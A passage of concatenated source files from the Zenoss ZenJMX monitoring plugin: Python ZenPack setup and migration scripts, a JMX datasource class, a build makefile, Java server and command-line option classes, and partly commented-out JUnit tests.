\n\n\n"},{"alpha_fraction":0.6219255328178406,"alphanum_fraction":0.6289529204368591,"avg_line_length":34.54999923706055,"blob_id":"36b7dc0b7c32b01eae72f962cf2e0684f2f736e5","content_id":"fc757013c19678effffe1019baa65a38c9b2eb6d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1423,"license_type":"no_license","max_line_length":75,"num_lines":40,"path":"/ZenPacks/zenoss/ZenJMX/__init__.py","repo_name":"alienth/Zenpacks.zenoss.ZenJMX","src_encoding":"UTF-8","text":"###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2007, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 or (at your\n# option) any later version as published by the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\npack = 'ZenJMX'\n__doc__ = '%s ZenPack. Adds JMX support to Zenoss' % pack\n\nimport Globals\nimport os\nimport sys\nfrom os.path import join\nfrom Products.ZenModel.ZenPack import ZenPackBase\nfrom Products.CMFCore.DirectoryView import registerDirectory\n\nskinsDir = os.path.join(os.path.dirname(__file__), 'skins')\nif os.path.isdir(skinsDir):\n registerDirectory(skinsDir, globals())\n\nlibDir = os.path.join(os.path.dirname(__file__), 'lib')\nif os.path.isdir(libDir):\n sys.path.append(libDir)\n\nbinDir = os.path.join(os.path.dirname(__file__), 'bin')\n\nclass ZenPack(ZenPackBase):\n \"ZenPack Loader that loads zProperties used by ZenJMX\"\n packZProperties = [\n ('zJmxManagementPort', 12345, 'int'),\n ('zJmxAuthenticate', False, 'boolean'),\n ('zJmxUsername', 'admin', 'string'),\n ('zJmxPassword', 'admin', 'password'),\n ]\n\n"},{"alpha_fraction":0.570787787437439,"alphanum_fraction":0.5727502107620239,"avg_line_length":29.732759475708008,"blob_id":"eea50ddeaf4290a23722b345b57facc552754b70","content_id":"b1b48e3cfe47ad902d298fd6f62c83b7bbe79899","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3567,"license_type":"no_license","max_line_length":75,"num_lines":116,"path":"/ZenPacks/zenoss/ZenJMX/datasources/JMXDataSource.py","repo_name":"alienth/Zenpacks.zenoss.ZenJMX","src_encoding":"UTF-8","text":"###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2007, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 or (at your\n# option) any later version as published by the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\n\n__doc__='''MailTxDataSource.py\n\nDefines datasource for JMX collection. Using this data source you can\ndefine MBean objects and attributes as data sources and data points.\n\nPart of ZenJMX zenpack.\n'''\n\nfrom Products.ZenModel.RRDDataSource import RRDDataSource\nfrom AccessControl import ClassSecurityInfo, Permissions\nfrom Products.ZenModel.ZenPackPersistence import ZenPackPersistence\n\nBase = RRDDataSource\nclass JMXDataSource(ZenPackPersistence, Base):\n \n ZENPACKID = 'ZenPacks.zenoss.ZenJMX'\n \n URL = 'service:jmx:rmi:///jndi/rmi://%(manageIp)s:%(jmxPort)s/jmxrmi'\n\n JMX = 'JMX'\n\n sourcetypes = (JMX,)\n sourcetype = JMX\n\n timeout = 15\n eventClass = '/Status/JMX'\n component = JMX\n protocolTypes = ['RMI', 'JMXMP']\n hostname = '${dev/id}'\n expectedIpAddress = ''\n\n jmxPort = '${here/zJmxManagementPort}'\n jmxProtocol = 'RMI'\n jmxRawService = ''\n rmiContext = 'jmxrmi'\n objectName = ''\n username = '${here/zJmxUsername}'\n password = '${here/zJmxPassword}'\n authenticate = '${here/zJmxAuthenticate}'\n\n attributeName = ''\n attributePath = ''\n operationName = ''\n operationParamValues = ''\n operationParamTypes = ''\n\n\n _properties = Base._properties + (\n {'id':'jmxPort', 'type':'string', 'mode':'w'},\n {'id':'jmxProtocol', 'type':'string', 'mode':'w'},\n {'id':'jmxRawService', 'type':'string', 'mode':'w'},\n {'id':'rmiContext', 'type':'string', 'mode':'w'},\n {'id':'objectName', 'type':'string', 'mode':'w'},\n\n {'id':'authenticate', 'type':'string', 'mode':'w'},\n {'id':'username', 'type':'string', 'mode':'w'},\n {'id':'password', 'type':'string', 'mode':'w'},\n\n {'id':'attributeName', 'type':'string', 'mode':'w'},\n {'id':'attributePath', 'type':'string', 'mode':'w'},\n\n\n {'id':'operationName', 'type':'string', 'mode':'w'},\n {'id':'operationParamValues', 'type':'string', 'mode':'w'},\n {'id':'operationParamTypes', 'type':'string', 'mode':'w'},\n )\n\n _relations = Base._relations + (\n )\n\n factory_type_information = ( \n { \n 'immediate_view' : 'editJMXDataSource',\n 'actions' :\n ( \n { 'id' : 'edit',\n 'name' : 'Data Source',\n 'action' : 'editJMXDataSource',\n 'permissions' : ( Permissions.view, ),\n },\n )\n },\n )\n\n security = ClassSecurityInfo()\n\n def __init__(self, id, title=None, buildRelations=True):\n Base.__init__(self, id, title, buildRelations)\n\n def getDescription(self):\n if self.sourcetype == self.JMX:\n return self.hostname\n return RRDDataSource.getDescription(self)\n\n\n def getProtocols(self):\n \"\"\"return list of supported JMX protocols\"\"\"\n return JMXDataSource.protocolTypes\n\n\n def zmanage_editProperties(self, REQUEST=None):\n '''validation, etc'''\n return Base.zmanage_editProperties(self, REQUEST)\n\n\n"},{"alpha_fraction":0.5813186764717102,"alphanum_fraction":0.5879120826721191,"avg_line_length":25,"blob_id":"8763f950f5c6708f516ec94f5e0f1cf79e18fa74","content_id":"005abef0cf8c79f71096cc1f6e6eddb7ca09745c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Makefile","length_bytes":910,"license_type":"no_license","max_line_length":77,"num_lines":35,"path":"/ZenPacks/zenoss/ZenJMX/GNUmakefile","repo_name":"alienth/Zenpacks.zenoss.ZenJMX","src_encoding":"UTF-8","text":"###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2007, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 as published by\n# the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\n\nZENJMX_HOME=$(PWD)\nLIB_DIR=$(ZENJMX_HOME)/lib\nTARGET=$(ZENJMX_HOME)/target\n\ndefault: install\n\n\ninstall:\n\tmvn assembly:assembly\n\n\tmkdir -p ${LIB_DIR} ; \\\n\tcd ${LIB_DIR} ; \\\n\ttar xzf ${TARGET}/*-bin.tar.gz\n\n\tcp ${ZENJMX_HOME}/jmxremote_optional.jar ${LIB_DIR}\n\tcp ${ZENJMX_HOME}/src/main/resources/log4j.properties ${LIB_DIR}\n\trm -rf ${TARGET}\n\n\nclean:\n\trm -rf ${LIB_DIR}\n\trm -rf ${TARGET}\n"},{"alpha_fraction":0.5956804752349854,"alphanum_fraction":0.5988566279411316,"avg_line_length":33.40983581542969,"blob_id":"979fb9707313f809f1d339e1f979d01a6adeb540","content_id":"6925540a94f00f78a5d15fa9b7ad357e62ac3322","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":6297,"license_type":"no_license","max_line_length":79,"num_lines":183,"path":"/ZenPacks/zenoss/ZenJMX/src/main/java/com/zenoss/zenpacks/zenjmx/ZenJmxMain.java","repo_name":"alienth/Zenpacks.zenoss.ZenJMX","src_encoding":"UTF-8","text":"///////////////////////////////////////////////////////////////////////////\n//\n//Copyright 2008 Zenoss Inc \n//Licensed under the Apache License, Version 2.0 (the \"License\"); \n//you may not use this file except in compliance with the License. \n//You may obtain a copy of the License at \n// http://www.apache.org/licenses/LICENSE-2.0 \n//Unless required by applicable law or agreed to in writing, software \n//distributed under the License is distributed on an \"AS IS\" BASIS, \n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \n//See the License for the specific language governing permissions and \n//limitations under the License.\n//\n///////////////////////////////////////////////////////////////////////////\npackage com.zenoss.zenpacks.zenjmx;\n\nimport org.apache.commons.cli.CommandLine;\nimport org.apache.commons.cli.CommandLineParser;\nimport org.apache.commons.cli.Options;\nimport org.apache.commons.cli.ParseException;\nimport org.apache.commons.cli.PosixParser;\nimport org.apache.commons.logging.Log;\nimport org.apache.commons.logging.LogFactory;\nimport org.apache.log4j.Level;\nimport org.apache.log4j.Logger;\nimport org.apache.xmlrpc.webserver.XmlRpcServlet;\nimport org.eclipse.jetty.server.Connector;\nimport org.eclipse.jetty.server.Server;\nimport org.eclipse.jetty.server.bio.SocketConnector;\nimport org.eclipse.jetty.servlet.ServletHandler;\nimport org.eclipse.jetty.servlet.ServletHolder;\n\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.util.HashMap;\n\npublic class ZenJmxMain {\n\n private static String ERROR = \"40\";\n private static String WARNING = \"30\";\n private static String INFO = \"20\";\n private static String DEBUG = \"10\";\n\n // logger\n private static final Log _logger = LogFactory.getLog(ZenJmxMain.class);\n\n /**\n * @param args\n */\n public static void main(String[] args) throws Exception\n {\n\n HashMap<String, Level> loggingLevel = new HashMap<String, Level>();\n loggingLevel.put(ERROR, Level.ERROR);\n loggingLevel.put(WARNING, Level.WARN);\n loggingLevel.put(INFO, Level.INFO);\n loggingLevel.put(DEBUG, Level.DEBUG);\n\n Configuration config = Configuration.instance();\n parseArguments(config, args);\n\n if ( config.propertyExists(OptionsFactory.LOG_SEVERITY) )\n {\n String levelOpt = config.getProperty(OptionsFactory.LOG_SEVERITY);\n Level level = loggingLevel.get(levelOpt);\n if ( level != null )\n {\n _logger.info(\"setting root logger to \" + level);\n Logger.getRootLogger().setLevel(level);\n }\n else\n {\n _logger.warn(\"Ignoring unknown log severity \" + levelOpt);\n }\n }\n\n String port = config.getProperty(OptionsFactory.LISTEN_PORT,\n OptionsFactory.DEFAULT_LISTENPORT);\n\n Server server = new Server();\n Connector connector = new SocketConnector();\n connector.setPort(Integer.parseInt(port));\n server.setConnectors(new Connector[] { connector });\n\n ServletHandler handler = new ServletHandler();\n\n ServletHolder holder = new ServletHolder(new XmlRpcServlet());\n handler.addServletWithMapping(holder, \"/\");\n // handler.start();\n handler.initialize();\n\n server.setHandler(handler);\n try\n {\n server.start();\n }\n catch (Exception e)\n {\n System.exit(10);\n }\n server.join();\n }\n\n /**\n * Parses the command line arguments\n */\n private static void parseArguments(Configuration config, String[] args)\n throws ParseException, NumberFormatException\n {\n\n OptionsFactory factory = OptionsFactory.instance();\n Options options = factory.createOptions();\n // parse the command line\n CommandLineParser parser = new PosixParser();\n CommandLine cmd = parser.parse(options, args);\n\n // get the config file argument and load it into the properties\n if ( cmd.hasOption(OptionsFactory.CONFIG_FILE) )\n {\n String filename = cmd.getOptionValue(OptionsFactory.CONFIG_FILE);\n try\n {\n config.load(new FileInputStream(filename));\n }\n catch (IOException e)\n {\n _logger.error(\"failed to load configuration file\", e);\n }\n }\n else\n {\n _logger.warn(\"no config file option (--\"\n + OptionsFactory.CONFIG_FILE + \") specified\");\n _logger.warn(\"only setting options based on command \"\n + \"line arguments\");\n }\n\n if ( _logger.isDebugEnabled() )\n {\n for (String arg : args)\n {\n _logger.debug(\"arg: \" + arg);\n }\n }\n\n // interrogate the options and get the argument values\n overrideProperty(config, cmd, OptionsFactory.LISTEN_PORT);\n overrideProperty(config, cmd, OptionsFactory.LOG_SEVERITY);\n overrideOption(config, cmd, OptionsFactory.CONCURRENT_JMX_CALLS);\n // tell the user about the arguments\n _logger.info(\"zenjmxjava configuration:\");\n _logger.info(config.toString());\n }\n\n /**\n * Checks the CommandLine for the property with the name provided. If\n * present it sets the name and value pair in the _config field.\n */\n private static void overrideProperty(Configuration config, CommandLine cmd,\n String name)\n {\n if ( cmd.hasOption(name) )\n {\n String value = cmd.getOptionValue(name);\n config.setProperty(name, value);\n }\n }\n\n /**\n * Checks the CommandLine for the option with the name provided. If present\n * it sets the name and value pair in the _config field using \"true\" as the\n * value of the option.\n */\n private static void overrideOption(Configuration config, CommandLine cmd,\n String option)\n {\n if ( cmd.hasOption(option) )\n {\n config.setProperty(option, \"true\");\n }\n }\n\n}\n"},{"alpha_fraction":0.5983690023422241,"alphanum_fraction":0.6024464964866638,"avg_line_length":42.599998474121094,"blob_id":"0f81502d7322f9cdd7db341a62f7c8d2410009f2","content_id":"42700249b6bfb231c2a2566973d99f13d5f4f6b0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1962,"license_type":"no_license","max_line_length":87,"num_lines":45,"path":"/ZenPacks/zenoss/ZenJMX/migrate/MigrateThreadCountDataPoints.py","repo_name":"alienth/Zenpacks.zenoss.ZenJMX","src_encoding":"UTF-8","text":"###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2009, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 or (at your\n# option) any later version as published by the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\n\nfrom Products.ZenModel.migrate.Migrate import Version\nfrom Products.ZenModel.ZenPack import ZenPackMigration\nimport logging\nlog = logging.getLogger(\"zen\")\n\nclass MigrateThreadCountDataPoints(ZenPackMigration):\n version = Version(3, 1, 5)\n \n def migrate(self, pack):\n log.info(\"MigrateThreadCountDataPoints migrate\")\n #find devices with either the java or zenjmx templat\n #and delete the rrd file for the threadcount datapoint\n \n for d in pack.dmd.Devices.getSubDevices():\n log.debug(\"MigrateThreadCountDataPoints device %s\" % d.id)\n\n for template in d.getRRDTemplates():\n\n templateId = template.getPrimaryDmdId()\n log.debug(\"MigrateThreadCountDataPoints template %s\" % templateId)\n\n dpName = None\n if templateId == '/Devices/rrdTemplates/Java':\n dpName = 'Thread Count_ThreadCount'\n elif templateId == '/Devices/rrdTemplates/ZenJMX':\n dpName = 'ZenJMX Thread Count_ThreadCount'\n \n if dpName:\n log.debug(\"MigrateThreadCountDataPoints dpName %s\" % dpName)\n perfConf = d.getPerformanceServer()\n log.debug(\"MigrateThreadCountDataPoints perfConf %s\" % perfConf.id)\n perfConf.deleteRRDFiles(device=d.id, datapoint=dpName)\n"},{"alpha_fraction":0.6366162300109863,"alphanum_fraction":0.6427909731864929,"avg_line_length":23.725191116333008,"blob_id":"3634507593f64a3429e6aac20bb5c4cc2e287d21","content_id":"a1bea20ffc42b91ffad1965ff48c8a42ae6f7657","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":3239,"license_type":"no_license","max_line_length":75,"num_lines":131,"path":"/ZenPacks/zenoss/ZenJMX/src/test/java/com/zenoss/zenpacks/zenjmx/call/SummaryTest.java","repo_name":"alienth/Zenpacks.zenoss.ZenJMX","src_encoding":"UTF-8","text":"///////////////////////////////////////////////////////////////////////////\n//\n//Copyright 2008 Zenoss Inc \n//Licensed under the Apache License, Version 2.0 (the \"License\"); \n//you may not use this file except in compliance with the License. \n//You may obtain a copy of the License at \n// http://www.apache.org/licenses/LICENSE-2.0 \n//Unless required by applicable law or agreed to in writing, software \n//distributed under the License is distributed on an \"AS IS\" BASIS, \n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \n//See the License for the specific language governing permissions and \n//limitations under the License.\n//\n///////////////////////////////////////////////////////////////////////////\npackage com.zenoss.zenpacks.zenjmx.call;\n\nimport junit.framework.*;\nimport junit.textui.TestRunner;\n\nimport java.util.Map;\nimport java.util.HashMap;\n\n\n/**\n * <p> Tests the methods in the Summary class. Don't feel reassured\n * though - the extensiveness of the test is lacking... </p>\n *\n * <p>$Author: chris $</p>\n *\n * @author Christopher Blunck\n * @version $Revision: 1.6 $\n */\npublic class SummaryTest\n extends TestCase {\n\n // the configuration for the Summary\n private static final String DEVICE_ID = \"device\";\n private static final String OBJECT_NAME = \"objectName\";\n private static final String CALL_SUMMARY = \"single-value attribute call\";\n private static final String DATA_SOURCE_ID = \"dataSourceId\";\n private static final Map<String, Object> RESULTS;\n private static final Map<String, String> TYPE_MAP;\n private static final long RUNTIME = 12L;\n private static final boolean CANCELLED = false;\n private static final int CALL_ID = 34;\n\n // the summaries we will test\n private static Summary _summ1;\n private static Summary _summ2;\n\n static {\n RESULTS = new HashMap<String, Object>();\n RESULTS.put(\"a\", \"a\");\n\n TYPE_MAP = new HashMap<String, String>();\n TYPE_MAP.put(\"a\", \"java.lang.String\");\n }\n\n\n /**\n * Constructs a test that invokes a specific test method\n */\n public SummaryTest(String method) {\n super(method);\n }\n\n\n /**\n * Creates a Summary based on default values\n */\n private Summary createSummary() {\n Summary s = new Summary();\n\n s.setDeviceId(DEVICE_ID);\n s.setObjectName(OBJECT_NAME);\n s.setCallSummary(CALL_SUMMARY);\n s.setDataSourceId(DATA_SOURCE_ID);\n s.setResults(RESULTS);\n s.setRuntime(RUNTIME);\n s.setCancelled(CANCELLED);\n s.setCallId(CALL_ID);\n\n return s;\n }\n\n\n /**\n * Called before each method is invoked\n */\n public void setUp() { \n _summ1 = createSummary();\n _summ2 = createSummary();\n }\n\n\n /**\n * Called after each method finishes execution\n */\n public void tearDown() { }\n\n\n /**\n * Defines the list of test methods to run. By default we'll run\n * 'em all.\n */\n public static Test suite() {\n TestSuite suite = new TestSuite(SummaryTest.class);\n return suite;\n }\n\n \n /**\n * Runs all the tests via the command line.\n */\n public static void main(String[] args) {\n TestRunner.run(SummaryTest.class);\n }\n\n\n /*\n * TEST METHODS BEGIN HERE\n */\n\n /**\n * Tests the equals() method\n */\n public void testEquals() {\n assertTrue(_summ1.equals(_summ2));\n }\n\n}\n"},{"alpha_fraction":0.6598079800605774,"alphanum_fraction":0.6646090745925903,"avg_line_length":31.399999618530273,"blob_id":"0271b7c4f22a6aad136d1834114d21b8f2dd9747","content_id":"7bf3742483284557e940fb854e757d73ed893a7a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":2916,"license_type":"no_license","max_line_length":103,"num_lines":90,"path":"/ZenPacks/zenoss/ZenJMX/src/main/java/com/zenoss/zenpacks/zenjmx/OptionsFactory.java","repo_name":"alienth/Zenpacks.zenoss.ZenJMX","src_encoding":"UTF-8","text":"///////////////////////////////////////////////////////////////////////////\n//\n//Copyright 2008 Zenoss Inc \n//Licensed under the Apache License, Version 2.0 (the \"License\"); \n//you may not use this file except in compliance with the License. \n//You may obtain a copy of the License at \n// http://www.apache.org/licenses/LICENSE-2.0 \n//Unless required by applicable law or agreed to in writing, software \n//distributed under the License is distributed on an \"AS IS\" BASIS, \n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \n//See the License for the specific language governing permissions and \n//limitations under the License.\n//\n///////////////////////////////////////////////////////////////////////////\npackage com.zenoss.zenpacks.zenjmx;\n\nimport org.apache.commons.cli.Options;\nimport org.apache.commons.cli.Option;\n\n\n/**\n * <p> Factory for creating Options. The command line option\n * information used to be included in the Main class but it was\n * getting too big and bulky so I moved it into a factory. </p>\n *\n * <p>$Author: chris $</p>\n *\n * @author Christopher Blunck\n * @version $Revision: 1.6 $\n */\npublic class OptionsFactory {\n // configuration options\n public static final String LISTEN_PORT = \"zenjmxjavaport\";\n public static final String CONFIG_FILE = \"configfile\";\n public static final String LOG_SEVERITY = \"v\";\n public static final String CONCURRENT_JMX_CALLS = \"concurrentJMXCalls\";\n \n // default values (also set in zenjmx.conf)\n public static final String DEFAULT_LISTENPORT = \"9988\";\n\n // singleton instance\n private static OptionsFactory _instance;\n\n \n /**\n * Private constructor to enforce singleton pattern\n */\n private OptionsFactory() { }\n\n\n /**\n * Creates an Option (which is by definition ... not required)\n * @param name the short name of the argument\n * @param hasValue set to true to indicate the option has a value\n * associated with it. set to value if the option does not have a\n * value (e.g. --cycle or --help)\n * @param desc a description of the option\n */\n private Option createOption(String name, boolean hasValue, String desc) {\n Option option = new Option(name, hasValue, desc);\n return option;\n }\n\n\n /**\n * Creates command line options\n */\n public Options createOptions() {\n Options o = new Options();\n\n // everything is treated as an optional argument\n o.addOption(createOption(CONFIG_FILE, true, \"configuration file\"));\n o.addOption(createOption(LISTEN_PORT, true, \"Port to listen for requests\"));\n o.addOption(createOption(LOG_SEVERITY, true, \"Severity for logging\"));\n o.addOption(createOption(CONCURRENT_JMX_CALLS, false, \"Enable concurrent calls to a JMX server\"));\n return o;\n }\n\n\n /**\n * Singleton accessor method\n */\n public static OptionsFactory instance() {\n if (_instance == null) {\n _instance = new OptionsFactory();\n }\n\n return _instance;\n }\n}\n"},{"alpha_fraction":0.6692573428153992,"alphanum_fraction":0.6761658191680908,"avg_line_length":40.32143020629883,"blob_id":"cf9eb7bcdb2fa7081926b0e840d5f9fc32d14d76","content_id":"9bbce2a54e17ca41548b409a4e52686755128919","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1158,"license_type":"no_license","max_line_length":75,"num_lines":28,"path":"/ZenPacks/zenoss/ZenJMX/migrate/ConvertJMXDataSources.py","repo_name":"alienth/Zenpacks.zenoss.ZenJMX","src_encoding":"UTF-8","text":"###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2008, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 or (at your\n# option) any later version as published by the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\n\nimport Globals\nfrom Products.ZenModel.migrate.Migrate import Version\nfrom Products.ZenModel.ZenPack import ZenPack, ZenPackDataSourceMigrateBase\nfrom ZenPacks.zenoss.ZenJMX.datasources.JMXDataSource import JMXDataSource\n\nclass ConvertJMXDataSources(ZenPackDataSourceMigrateBase):\n version = Version(3, 1, 2)\n \n # These provide for conversion of datasource instances to the new class\n dsClass = JMXDataSource\n oldDsModuleName = 'Products.ZenJMX.datasources.JMXDataSource'\n oldDsClassName = 'JMXDataSource'\n \n # Reindex all applicable datasource instances\n reIndex = True\n\n"},{"alpha_fraction":0.6184942126274109,"alphanum_fraction":0.6237493753433228,"avg_line_length":31.022653579711914,"blob_id":"77014a67596cba199c429b229e42586618203fe1","content_id":"cc05ffc2ec2e09647c245b435e6d0d44eb51ee38","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":9895,"license_type":"no_license","max_line_length":93,"num_lines":309,"path":"/ZenPacks/zenoss/ZenJMX/src/test/java/com/zenoss/zenpacks/zenjmx/call/OperationCallTest.java","repo_name":"alienth/Zenpacks.zenoss.ZenJMX","src_encoding":"UTF-8","text":"///////////////////////////////////////////////////////////////////////////\n//\n//Copyright 2008 Zenoss Inc \n//Licensed under the Apache License, Version 2.0 (the \"License\"); \n//you may not use this file except in compliance with the License. \n//You may obtain a copy of the License at \n// http://www.apache.org/licenses/LICENSE-2.0 \n//Unless required by applicable law or agreed to in writing, software \n//distributed under the License is distributed on an \"AS IS\" BASIS, \n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \n//See the License for the specific language governing permissions and \n//limitations under the License.\n//\n///////////////////////////////////////////////////////////////////////////\npackage com.zenoss.zenpacks.zenjmx.call;\n\nimport static com.zenoss.zenpacks.zenjmx.call.CallFactory.DATA_POINT;\nimport junit.framework.*;\nimport junit.textui.TestRunner;\n\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.ArrayList;\nimport java.util.Map;\n\nimport javax.management.MBeanServer;\nimport javax.management.MBeanServerFactory;\nimport javax.management.MalformedObjectNameException;\nimport javax.management.ObjectName;\nimport javax.management.remote.JMXConnectorServer;\nimport javax.management.remote.JMXConnectorServerFactory;\nimport javax.management.remote.JMXServiceURL;\n\n\n/**\n * <p>\n * Tests the methods in the OperationAttributeCall class. Don't feel reassured\n * though - the extensiveness of the test is lacking...\n * </p>\n * \n * <p>\n * $Author: chris $\n * </p>\n * \n * @author Christopher Blunck\n * @version $Revision: 1.6 $\n */\npublic class OperationCallTest\n extends TestCase {\n\n // the configuration for the call\n private static final String URL = \n \"service:jmx:rmi:///jndi/rmi://localhost:9999/server\";\n private static final boolean AUTHENTICATE = true;\n private static final String USERNAME = \"username\";\n private static final String PASSWORD = \"password\";\n private static final String OBJECT_NAME = \"mbean\";\n private static final String ATTR_NAME = \"attribute\";\n private static final String ATTR_TYPE = \"attribute type\";\n private static Object[] PARAM_VALUES;\n private static String[] PARAM_TYPES;\n private static List<String> KEYS;\n private static List<String> TYPES;\n // the calls we will test\n \n private static OperationCall _call1;\n private static OperationCall _call2;\n\n \n private static ObjectName mbeanObjectName;\n private static JMXConnectorServer JMXServer = null;\n // staticly initialize the arrays and lists we will pass to the calls\n static {\n PARAM_VALUES = new Object[] {\n \"param1\", \"param2\"\n };\n\n PARAM_TYPES = new String[] {\n \"java.lang.String\", \"java.lang.String\"\n };\n\n KEYS = new ArrayList<String>();\n KEYS.add(\"key1\");\n KEYS.add(\"key2\");\n\n TYPES = new ArrayList<String>();\n TYPES.add(\"java.lang.String\");\n TYPES.add(\"java.lang.Double\");\n }\n\n\n /**\n * Constructs a test that invokes a specific test method\n */\n public OperationCallTest(String method) {\n super(method);\n }\n\n\n /**\n * Called before each method is invoked. Sets up the two call objects we\n * will use.\n */\n public void setUp() throws Exception{ \n// _call1 = \n// new OperationCall(URL, AUTHENTICATE, \n// USERNAME, PASSWORD, \n// OBJECT_NAME, ATTR_NAME,\n// PARAM_VALUES,\n// PARAM_TYPES,\n// KEYS, TYPES);\n//\n// _call2 = \n// new OperationCall(URL, AUTHENTICATE, \n// USERNAME, PASSWORD, \n// OBJECT_NAME, ATTR_NAME,\n// PARAM_VALUES,\n// PARAM_TYPES,\n// KEYS, TYPES);\n// MBeanServer mbs = MBeanServerFactory.createMBeanServer();\n// registerMbean(mbs);\n// startMBeanServer(mbs);\n }\n\n \n private static void startMBeanServer(MBeanServer mbs)throws Exception{\n JMXServiceURL url = new JMXServiceURL(\n \"service:jmx:rmi:///jndi/rmi://localhost:9999/server\");\n // Need to start an RMI registry for this to work\n // eg. \"rmiresgistry 9999 &\"\n JMXServer =\n JMXConnectorServerFactory.newJMXConnectorServer(url, null, mbs);\n\n JMXServer.start();\n }\n \n \n private static void registerMbean(MBeanServer mbs) throws Exception{\n \n \n// // Get default domain\n// //\n// String domain = mbs.getDefaultDomain();\n//\n// // Create and register the SimpleStandard MBean\n// //\n// String mbeanClassName = ZenJMXTest.class.getName();\n// String mbeanObjectNameStr =\n// domain + \":type=\" + mbeanClassName + \",index=1\";\n// createSimpleMBean(mbs, mbeanClassName, mbeanObjectNameStr);\n \n }\n\n private static void createSimpleMBean(MBeanServer mbs, \n String mbeanClassName, String mbeanObjectNameStr) throws Exception {\n \n mbeanObjectName = \n ObjectName.getInstance(mbeanObjectNameStr);\n mbs.createMBean(mbeanClassName, mbeanObjectName);\n \n }\n /**\n * Called after each method finishes execution\n */\n public void tearDown() throws Exception { \n// _call1 = null;\n// _call2 = null;\n// if(JMXServer != null){\n// JMXServer.stop();\n// }\n// JMXServer = null;\n }\n\n\n /**\n * Defines the list of test methods to run. By default we'll run 'em all.\n */\n public static Test suite() {\n TestSuite suite = new TestSuite(OperationCallTest.class);\n return suite;\n }\n\n \n /**\n * Runs all the tests via the command line.\n */\n public static void main(String[] args) {\n TestRunner.run(OperationCallTest.class);\n }\n\n\n /*\n * TEST METHODS BEGIN HERE\n */\n\n /**\n * Tests the hashCode() method\n */\n public void testHashCode() {\n// assertEquals(_call1.hashCode(), _call2.hashCode());\n }\n\n\n /**\n * Tests the equals() method\n */\n public void testEquals() {\n// assertTrue(_call1.equals(_call2));\n }\n \n public void testOperationStringResult() throws Exception\n {\n// List<String> keyList = new ArrayList<String>();\n// keyList.add(\"key\");\n// List<String> typeList = new ArrayList<String>();\n// typeList.add(\"type\");\n// List<String>emptyList = Collections.emptyList(); \n// \n// OperationCall call = \n// new OperationCall(URL, \n// false,\"\", \"\", \n// mbeanObjectName.getCanonicalName(),\n// \"operationStringResult\",\n// new Object[0],\n// new String[0],\n// keyList,typeList);\n// call.call();\n// assertEquals(\"operationStringResult\", ZenJMXTest.lastCall);\n// Object[] lastArgs = ZenJMXTest.lastArgs;\n// assertTrue(Arrays.equals(new Object[0], ZenJMXTest.lastArgs));\n// assertEquals(\"blam\", ZenJMXTest.lastReturn);\n\n }\n public void testOperationStrinResultAndStringArg() throws Exception\n {\n// List<String> keyList = new ArrayList<String>();\n// keyList.add(\"key\");\n// List<String> typeList = new ArrayList<String>();\n// typeList.add(\"type\");\n// Object[] args = new Object[]{\"myArg\"};\n// OperationCall call = getCall(\"operationStrinResultAndStringArg\", \"myArg\",\n// \"java.lang.String\");\n// new OperationCall(URL, \n// false,\"\", \"\", \n// mbeanObjectName.getCanonicalName(),\n// \"operationStrinResultAndStringArg\",\n// args,\n// new String[]{\"java.lang.String\"},\n// keyList,typeList);\n// call.call();\n// assertEquals(\"operationStrinResultAndStringArg\", ZenJMXTest.lastCall);\n// assertTrue(Arrays.equals(args, ZenJMXTest.lastArgs));\n// assertEquals(\"myArg\", ZenJMXTest.lastReturn);\n\n }\n \n public void testOperationStringArgs() throws Exception\n {\n// List<String> keyList = new ArrayList<String>();\n// keyList.add(\"key\");\n// List<String> typeList = new ArrayList<String>();\n// typeList.add(\"type\");\n// Object[] args = new Object[]{\"myArg0\", \"myArg1\"};\n// OperationCall call = getCall(\"operationStringArgs\", \"myArg0, myArg1\",\n// \"java.lang.String, java.lang.String\");\n// call.call();\n// assertEquals(\"operationStringArgs\", ZenJMXTest.lastCall);\n// assertTrue(Arrays.equals(args, ZenJMXTest.lastArgs));\n// assertEquals(\"myArg0myArg1\", ZenJMXTest.lastReturn);\n\n }\n \n public void testOperationIntResultAnIntArg() throws Exception\n 